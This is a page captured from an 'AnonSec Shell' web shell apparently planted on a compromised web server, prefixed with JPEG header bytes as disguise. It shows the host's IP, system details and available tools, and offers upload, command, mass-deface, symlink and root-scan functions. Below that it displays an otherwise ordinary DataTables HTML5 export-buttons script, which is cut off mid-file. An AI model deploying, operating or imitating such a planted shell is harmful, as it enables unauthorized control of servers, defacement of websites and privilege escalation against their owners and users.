JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/pesquisas/dev/dist/datatables/extensions/Buttons/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/pesquisas/dev/dist/datatables/extensions/Buttons/js/buttons.html5.js
/*!
 * HTML5 export buttons for Buttons and DataTables.
 * 2016 SpryMedia Ltd - datatables.net/license
 *
 * FileSaver.js (1.3.3) - MIT license
 * Copyright © 2016 Eli Grey - http://eligrey.com
 */

(function (factory) {
    if (typeof define === 'function' && define.amd) {
        // AMD
        define(['jquery', 'datatables.net', 'datatables.net-buttons'], function ($) {
            return factory($, window, document);
        });
    }
    else if (typeof exports === 'object') {
        // CommonJS
        module.exports = function (root, $, jszip, pdfmake) {
            if (!root) {
                root = window;
            }

            if (!$ || !$.fn.dataTable) {
                $ = require('datatables.net')(root, $).$;
            }

            if (!$.fn.dataTable.Buttons) {
                require('datatables.net-buttons')(root, $);
            }

            return factory($, root, root.document, jszip, pdfmake);
        };
    }
    else {
        // Browser
        factory(jQuery, window, document);
    }
}(function ($, window, document, jszip, pdfmake, undefined) {
    'use strict';
    var DataTable = $.fn.dataTable;

// Allow the constructor to pass in JSZip and PDFMake from external requires.
// Otherwise, use globally defined variables, if they are available.
    function _jsZip() {
        return jszip || window.JSZip;
    }

    function _pdfMake() {
        return pdfmake || window.pdfMake;
    }


    /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
     * FileSaver.js dependency
     */

    /*jslint bitwise: true, indent: 4, laxbreak: true, laxcomma: true, smarttabs: true, plusplus: true */

    var _saveAs = (function (view) {
        "use strict";
        // IE <10 is explicitly unsupported
        if (typeof view === "undefined" || typeof navigator !== "undefined" && /MSIE [1-9]\./.test(navigator.userAgent)) {
            return;
        }
        var
            doc                        = view.document
            // only get URL when necessary in case Blob.js hasn't overridden it yet
            , get_URL                  = function () {
                return view.URL || view.webkitURL || view;
            }
            , save_link                = doc.createElementNS("http://www.w3.org/1999/xhtml", "a")
            , can_use_save_link        = "download" in save_link
            , click                    = function (node) {
                var event = new MouseEvent("click");
                node.dispatchEvent(event);
            }
            , is_safari                = /constructor/i.test(view.HTMLElement) || view.safari
            , is_chrome_ios            = /CriOS\/[\d]+/.test(navigator.userAgent)
            , throw_outside            = function (ex) {
                (view.setImmediate || view.setTimeout)(function () {
                    throw ex;
                }, 0);
            }
            , force_saveable_type      = "application/octet-stream"
            // the Blob API is fundamentally broken as there is no "downloadfinished" event to subscribe to
            , arbitrary_revoke_timeout = 1000 * 40 // in ms
            , revoke                   = function (file) {
                var revoker = function () {
                    if (typeof file === "string") { // file is an object URL
                        get_URL().revokeObjectURL(file);
                    } else { // file is a File
                        file.remove();
                    }
                };
                setTimeout(revoker, arbitrary_revoke_timeout);
            }
            , dispatch                 = function (filesaver, event_types, event) {
                event_types = [].concat(event_types);
                var i       = event_types.length;
                while (i--) {
                    var listener = filesaver["on" + event_types[i]];
                    if (typeof listener === "function") {
                        try {
                            listener.call(filesaver, event || filesaver);
                        } catch (ex) {
                            throw_outside(ex);
                        }
                    }
                }
            }
            , auto_bom                 = function (blob) {
                // prepend BOM for UTF-8 XML and text/* types (including HTML)
                // note: your browser will automatically convert UTF-16 U+FEFF to EF BB BF
                if (/^\s*(?:text\/\S*|application\/xml|\S*\/\S*\+xml)\s*;.*charset\s*=\s*utf-8/i.test(blob.type)) {
                    return new Blob([String.fromCharCode(0xFEFF), blob], {type: blob.type});
                }
                return blob;
            }
            , FileSaver                = function (blob, name, no_auto_bom) {
                if (!no_auto_bom) {
                    blob = auto_bom(blob);
                }
                // First try a.download, then web filesystem, then object URLs
                var
                    filesaver        = this
                    , type           = blob.type
                    , force          = type === force_saveable_type
                    , object_url
                    , dispatch_all   = function () {
                        dispatch(filesaver, "writestart progress write writeend".split(" "));
                    }
                    // on any filesys errors revert to saving with object URLs
                    , fs_error       = function () {
                        if ((is_chrome_ios || (force && is_safari)) && view.FileReader) {
                            // Safari doesn't allow downloading of blob urls
                            var reader       = new FileReader();
                            reader.onloadend = function () {
                                var url   = is_chrome_ios ? reader.result : reader.result.replace(/^data:[^;]*;/, 'data:attachment/file;');
                                var popup = view.open(url, '_blank');
                                if (!popup) view.location.href = url;
                                url                  = undefined; // release reference before dispatching
                                filesaver.readyState = filesaver.DONE;
                                dispatch_all();
                            };
                            reader.readAsDataURL(blob);
                            filesaver.readyState = filesaver.INIT;
                            return;
                        }
                        // don't create more object URLs than needed
                        if (!object_url) {
                            object_url = get_URL().createObjectURL(blob);
                        }
                        if (force) {
                            view.location.href = object_url;
                        } else {
                            var opened = view.open(object_url, "_blank");
                            if (!opened) {
                                // Apple does not allow window.open, see https://developer.apple.com/library/safari/documentation/Tools/Conceptual/SafariExtensionGuide/WorkingwithWindowsandTabs/WorkingwithWindowsandTabs.html
                                view.location.href = object_url;
                            }
                        }
                        filesaver.readyState = filesaver.DONE;
                        dispatch_all();
                        revoke(object_url);
                    }
                ;
                filesaver.readyState = filesaver.INIT;

                if (can_use_save_link) {
                    object_url = get_URL().createObjectURL(blob);
                    setTimeout(function () {
                        save_link.href     = object_url;
                        save_link.download = name;
                        click(save_link);
                        dispatch_all();
                        revoke(object_url);
                        filesaver.readyState = filesaver.DONE;
                    });
                    return;
                }

                fs_error();
            }
            , FS_proto                 = FileSaver.prototype
            , saveAs                   = function (blob, name, no_auto_bom) {
                return new FileSaver(blob, name || blob.name || "download", no_auto_bom);
            }
        ;
        // IE 10+ (native saveAs)
        if (typeof navigator !== "undefined" && navigator.msSaveOrOpenBlob) {
            return function (blob, name, no_auto_bom) {
                name = name || blob.name || "download";

                if (!no_auto_bom) {
                    blob = auto_bom(blob);
                }
                return navigator.msSaveOrOpenBlob(blob, name);
            };
        }

        FS_proto.abort      = function () {
        };
        FS_proto.readyState = FS_proto.INIT = 0;
        FS_proto.WRITING = 1;
        FS_proto.DONE    = 2;

        FS_proto.error =
            FS_proto.onwritestart =
                FS_proto.onprogress =
                    FS_proto.onwrite =
                        FS_proto.onabort =
                            FS_proto.onerror =
                                FS_proto.onwriteend =
                                    null;

        return saveAs;
    }(
        typeof self !== "undefined" && self
        || typeof window !== "undefined" && window
        || this.content
    ));


// Expose file saver on the DataTables API. Can't attach to `DataTables.Buttons`
// since this file can be loaded before Button's core!
    DataTable.fileSave = _saveAs;


    /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
     * Local (private) functions
     */

    /**
     * Get the file name for an exported file.
     *
     * @param {object}    config Button configuration
     * @param {boolean} incExtension Include the file name extension
     */
    var _filename = function (config, incExtension) {
        // Backwards compatibility
        var filename = config.filename === '*' && config.title !== '*' && config.title !== undefined ?
            config.title :
            config.filename;

        if (typeof filename === 'function') {
            filename = filename();
        }

        if (filename.indexOf('*') !== -1) {
            filename = $.trim(filename.replace('*', $('title').text()));
        }

        // Strip characters which the OS will object to
        filename = filename.replace(/[^a-zA-Z0-9_\u00A1-\uFFFF\.,\-_ !\(\)]/g, "");

        return incExtension === undefined || incExtension === true ?
            filename + config.extension :
            filename;
    };

    /**
     * Get the sheet name for Excel exports.
     *
     * @param {object}    config Button configuration
     */
    var _sheetname = function (config) {
        var sheetName = 'Sheet1';

        if (config.sheetName) {
            sheetName = config.sheetName.replace(/[\[\]\*\/\\\?\:]/g, '');
        }

        return sheetName;
    };

    /**
     * Get the title for an exported file.
     *
     * @param {object} config    Button configuration
     */
    var _title = function (config) {
        var title = config.title;

        if (typeof title === 'function') {
            title = title();
        }

        return title.indexOf('*') !== -1 ?
            title.replace('*', $('title').text() || 'Exported data') :
            title;
    };

    /**
     * Get the newline character(s)
     *
     * @param {object}    config Button configuration
     * @return {string}                Newline character
     */
    var _newLine = function (config) {
        return config.newline ?
            config.newline :
            navigator.userAgent.match(/Windows/) ?
                '\r\n' :
                '\n';
    };

    /**
     * Combine the data from the `buttons.exportData` method into a string that
     * will be used in the export file.
     *
     * @param    {DataTable.Api} dt         DataTables API instance
     * @param    {object}                config Button configuration
     * @return {object}                             The data to export
     */
    var _exportData = function (dt, config) {
        var newLine    = _newLine(config);
        var data       = dt.buttons.exportData(config.exportOptions);
        var boundary   = config.fieldBoundary;
        var separator  = config.fieldSeparator;
        var reBoundary = new RegExp(boundary, 'g');
        var escapeChar = config.escapeChar !== undefined ?
            config.escapeChar :
            '\\';
        var join       = function (a) {
            var s = '';

            // If there is a field boundary, then we might need to escape it in
            // the source data
            for (var i = 0, ien = a.length; i < ien; i++) {
                if (i > 0) {
                    s += separator;
                }

                s += boundary ?
                    boundary + ('' + a[i]).replace(reBoundary, escapeChar + boundary) + boundary :
                    a[i];
            }

            return s;
        };

        var header = config.header ? join(data.header) + newLine : '';
        var footer = config.footer && data.footer ? newLine + join(data.footer) : '';
        var body   = [];

        for (var i = 0, ien = data.body.length; i < ien; i++) {
            body.push(join(data.body[i]));
        }

        return {
            str: header + body.join(newLine) + footer,
            rows: body.length
        };
    };

    /**
     * Older versions of Safari (prior to tech preview 18) don't support the
     * download option required.
     *
     * @return {Boolean} `true` if old Safari
     */
    var _isDuffSafari = function () {
        var safari = navigator.userAgent.indexOf('Safari') !== -1 &&
            navigator.userAgent.indexOf('Chrome') === -1 &&
            navigator.userAgent.indexOf('Opera') === -1;

        if (!safari) {
            return false;
        }

        var version = navigator.userAgent.match(/AppleWebKit\/(\d+\.\d+)/);
        if (version && version.length > 1 && version[1] * 1 < 603.1) {
            return true;
        }

        return false;
    };

    /**
     * Convert from numeric position to letter for column names in Excel
     * @param  {int} n Column number
     * @return {string} Column letter(s) name
     */
    function createCellPos(n) {
        var ordA = 'A'.charCodeAt(0);
        var ordZ = 'Z'.charCodeAt(0);
        var len  = ordZ - ordA + 1;
        var s    = "";

        while (n >= 0) {
            s = String.fromCharCode(n % len + ordA) + s;
            n = Math.floor(n / len) - 1;
        }

        return s;
    }

    try {
        var _serialiser = new XMLSerializer();
        var _ieExcel;
    }
    catch (t) {
    }

    /**
     * Recursively add XML files from an object's structure to a ZIP file. This
     * allows the XSLX file to be easily defined with an object's structure matching
     * the files structure.
     *
     * @param {JSZip} zip ZIP package
     * @param {object} obj Object to add (recursive)
     */
    function _addToZip(zip, obj) {
        if (_ieExcel === undefined) {
            // Detect if we are dealing with IE's _awful_ serialiser by seeing if it
            // drop attributes
            _ieExcel = _serialiser
                .serializeToString(
                    $.parseXML(excelStrings['xl/worksheets/sheet1.xml'])
                )
                .indexOf('xmlns:r') === -1;
        }

        $.each(obj, function (name, val) {
            if ($.isPlainObject(val)) {
                var newDir = zip.folder(name);
                _addToZip(newDir, val);
            }
            else {
                if (_ieExcel) {
                    // IE's XML serialiser will drop some name space attributes from
                    // from the root node, so we need to save them. Do this by
                    // replacing the namespace nodes with a regular attribute that
                    // we convert back when serialised. Edge does not have this
                    // issue
                    var worksheet = val.childNodes[0];
                    var i, ien;
                    var attrs     = [];

                    for (i = worksheet.attributes.length - 1; i >= 0; i--) {
                        var attrName  = worksheet.attributes[i].nodeName;
                        var attrValue = worksheet.attributes[i].nodeValue;

                        if (attrName.indexOf(':') !== -1) {
                            attrs.push({name: attrName, value: attrValue});

                            worksheet.removeAttribute(attrName);
                        }
                    }

                    for (i = 0, ien = attrs.length; i < ien; i++) {
                        var attr   = val.createAttribute(attrs[i].name.replace(':', '_dt_b_namespace_token_'));
                        attr.value = attrs[i].value;
                        worksheet.setAttributeNode(attr);
                    }
                }

                var str = _serialiser.serializeToString(val);

                // Fix IE's XML
                if (_ieExcel) {
                    // IE doesn't include the XML declaration
                    if (str.indexOf('<?xml') === -1) {
                        str = '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' + str;
                    }

                    // Return namespace attributes to being as such
                    str = str.replace(/_dt_b_namespace_token_/g, ':');
                }

                // Safari, IE and Edge will put empty name space attributes onto
                // various elements making them useless. This strips them out
                str = str.replace(/<([^<>]*?) xmlns=""([^<>]*?)>/g, '<$1 $2>');

                zip.file(name, str);
            }
        });
    }

    /**
     * Create an XML node and add any children, attributes, etc without needing to
     * be verbose in the DOM.
     *
     * @param  {object} doc      XML document
     * @param  {string} nodeName Node name
     * @param  {object} opts     Options - can be `attr` (attributes), `children`
     *   (child nodes) and `text` (text content)
     * @return {node}            Created node
     */
    function _createNode(doc, nodeName, opts) {
        var tempNode = doc.createElement(nodeName);

        if (opts) {
            if (opts.attr) {
                $(tempNode).attr(opts.attr);
            }

            if (opts.children) {
                $.each(opts.children, function (key, value) {
                    tempNode.appendChild(value);
                });
            }

            if (opts.text) {
                tempNode.appendChild(doc.createTextNode(opts.text));
            }
        }

        return tempNode;
    }

    /**
     * Get the width for an Excel column based on the contents of that column
     * @param  {object} data Data for export
     * @param  {int}    col  Column index
     * @return {int}         Column width
     */
    function _excelColWidth(data, col) {
        var max = data.header[col].length;
        var len, lineSplit, str;

        if (data.footer && data.footer[col].length > max) {
            max = data.footer[col].length;
        }

        for (var i = 0, ien = data.body.length; i < ien; i++) {
            var point = data.body[i][col];
            str       = point !== null && point !== undefined ?
                point.toString() :
                '';

            // If there is a newline character, workout the width of the column
            // based on the longest line in the string
            if (str.indexOf('\n') !== -1) {
                lineSplit = str.split('\n');
                lineSplit.sort(function (a, b) {
                    return b.length - a.length;
                });

                len = lineSplit[0].length;
            }
            else {
                len = str.length;
            }

            if (len > max) {
                max = len;
            }

            // Max width rather than having potentially massive column widths
            if (max > 40) {
                return 52; // 40 * 1.3
            }
        }

        max *= 1.3;

        // And a min width
        return max > 6 ? max : 6;
    }

// Excel - Pre-defined strings to build a basic XLSX file
    var excelStrings = {
        "_rels/.rels":
        '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' +
        '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' +
        '<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>' +
        '</Relationships>',

        "xl/_rels/workbook.xml.rels":
        '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' +
        '<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' +
        '<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>' +
        '<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/>' +
        '</Relationships>',

        "[Content_Types].xml":
        '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' +
        '<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">' +
        '<Default Extension="xml" ContentType="application/xml" />' +
        '<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml" />' +
        '<Default Extension="jpeg" ContentType="image/jpeg" />' +
        '<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml" />' +
        '<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml" />' +
        '<Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml" />' +
        '</Types>',

        "xl/workbook.xml":
        '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' +
        '<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">' +
        '<fileVersion appName="xl" lastEdited="5" lowestEdited="5" rupBuild="24816"/>' +
        '<workbookPr showInkAnnotation="0" autoCompressPictures="0"/>' +
        '<bookViews>' +
        '<workbookView xWindow="0" yWindow="0" windowWidth="25600" windowHeight="19020" tabRatio="500"/>' +
        '</bookViews>' +
        '<sheets>' +
        '<sheet name="" sheetId="1" r:id="rId1"/>' +
        '</sheets>' +
        '</workbook>',

        "xl/worksheets/sheet1.xml":
        '<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' +
        '<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac">' +
        '<sheetData/>' +
        '</worksheet>',

        "xl/styles.xml":
        '<?xml version="1.0" encoding="UTF-8"?>' +
        '<styleSheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac">' +
        '<numFmts count="6">' +
        '<numFmt numFmtId="164" formatCode="#,##0.00_-\ [$$-45C]"/>' +
        '<numFmt numFmtId="165" formatCode="&quot;£&quot;#,##0.00"/>' +
        '<numFmt numFmtId="166" formatCode="[$€-2]\ #,##0.00"/>' +
        '<numFmt numFmtId="167" formatCode="0.0%"/>' +
        '<numFmt numFmtId="168" formatCode="#,##0;(#,##0)"/>' +
        '<numFmt numFmtId="169" formatCode="#,##0.00;(#,##0.00)"/>' +
        '</numFmts>' +
        '<fonts count="5" x14ac:knownFonts="1">' +
        '<font>' +
        '<sz val="11" />' +
        '<name val="Calibri" />' +
        '</font>' +
        '<font>' +
        '<sz val="11" />' +
        '<name val="Calibri" />' +
        '<color rgb="FFFFFFFF" />' +
        '</font>' +
        '<font>' +
        '<sz val="11" />' +
        '<name val="Calibri" />' +
        '<b />' +
        '</font>' +
        '<font>' +
        '<sz val="11" />' +
        '<name val="Calibri" />' +
        '<i />' +
        '</font>' +
        '<font>' +
        '<sz val="11" />' +
        '<name val="Calibri" />' +
        '<u />' +
        '</font>' +
        '</fonts>' +
        '<fills count="6">' +
        '<fill>' +
        '<patternFill patternType="none" />' +
        '</fill>' +
        '<fill/>' + // Excel appears to use this as a dotted background regardless of values
        '<fill>' +
        '<patternFill patternType="solid">' +
        '<fgColor rgb="FFD9D9D9" />' +
        '<bgColor indexed="64" />' +
        '</patternFill>' +
        '</fill>' +
        '<fill>' +
        '<patternFill patternType="solid">' +
        '<fgColor rgb="FFD99795" />' +
        '<bgColor indexed="64" />' +
        '</patternFill>' +
        '</fill>' +
        '<fill>' +
        '<patternFill patternType="solid">' +
        '<fgColor rgb="ffc6efce" />' +
        '<bgColor indexed="64" />' +
        '</patternFill>' +
        '</fill>' +
        '<fill>' +
        '<patternFill patternType="solid">' +
        '<fgColor rgb="ffc6cfef" />' +
        '<bgColor indexed="64" />' +
        '</patternFill>' +
        '</fill>' +
        '</fills>' +
        '<borders count="2">' +
        '<border>' +
        '<left />' +
        '<right />' +
        '<top />' +
        '<bottom />' +
        '<diagonal />' +
        '</border>' +
        '<border diagonalUp="false" diagonalDown="false">' +
        '<left style="thin">' +
        '<color auto="1" />' +
        '</left>' +
        '<right style="thin">' +
        '<color auto="1" />' +
        '</right>' +
        '<top style="thin">' +
        '<color auto="1" />' +
        '</top>' +
        '<bottom style="thin">' +
        '<color auto="1" />' +
        '</bottom>' +
        '<diagonal />' +
        '</border>' +
        '</borders>' +
        '<cellStyleXfs count="1">' +
        '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" />' +
        '</cellStyleXfs>' +
        '<cellXfs count="67">' +
        '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="1" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="1" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="2" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="1" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="3" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="1" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="4" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="1" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="5" borderId="0" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="1" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="0" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="1" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="2" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="1" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="3" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="1" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="4" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="1" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="2" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="3" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="4" fillId="5" borderId="1" applyFont="1" applyFill="1" applyBorder="1"/>' +
        '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">' +
        '<alignment horizontal="left"/>' +
        '</xf>' +
        '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">' +
        '<alignment horizontal="center"/>' +
        '</xf>' +
        '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">' +
        '<alignment horizontal="right"/>' +
        '</xf>' +
        '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">' +
        '<alignment horizontal="fill"/>' +
        '</xf>' +
        '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">' +
        '<alignment textRotation="90"/>' +
        '</xf>' +
        '<xf numFmtId="0" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyAlignment="1">' +
        '<alignment wrapText="1"/>' +
        '</xf>' +
        '<xf numFmtId="9"   fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
        '<xf numFmtId="164" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
        '<xf numFmtId="165" fontId="0" fillId="0" borderId="0" applyFont="1" applyFill="1" applyBorder="1" xfId="0" applyNumberFormat="1"/>' +
